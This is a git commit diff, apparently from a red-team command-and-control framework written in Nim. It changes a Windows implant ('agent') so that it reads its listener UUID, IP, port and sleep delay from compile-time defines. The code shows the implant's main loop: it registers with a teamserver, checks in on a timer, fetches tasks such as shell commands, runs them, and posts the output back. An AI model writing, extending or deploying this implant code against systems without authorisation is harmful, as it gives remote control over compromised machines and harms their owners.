Agent utilizes configuration file (nim.cfg) and compile-time variables for listener information.

This commit is contained in:
Jakob Friedl
2025-05-24 13:56:26 +02:00
parent 5fe13fef94
commit ac0bb3c915
9 changed files with 47 additions and 19 deletions

View File

@@ -4,6 +4,11 @@ import winim
import ./[types, http, task]
import commands/shell
const ListenerUuid {.strdefine.}: string = ""
const ListenerIp {.strdefine.}: string = ""
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() =
#[
@@ -14,10 +19,21 @@ proc main() =
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# TODO: Read data from configuration file
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration."
quit(0)
let listener = "HVVOGEOM"
let agent = register(listener)
let config = AgentConfig(
listener: ListenerUuid,
ip: ListenerIp,
port: ListenerPort,
sleep: SleepDelay
)
let agent = config.register()
echo fmt"[+] [{agent}] Agent registered."
#[
@@ -30,13 +46,13 @@ proc main() =
]#
while true:
sleep(10 * 1000)
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent
let tasks: seq[Task] = getTasks(listener, agent)
let tasks: seq[Task] = config.getTasks(agent)
if tasks.len <= 0:
echo "[*] No tasks to execute."
@@ -45,7 +61,7 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
let result = task.handleTask()
discard postResults(listener, agent, result)
discard config.postResults(agent, result)
when isMainModule:
main()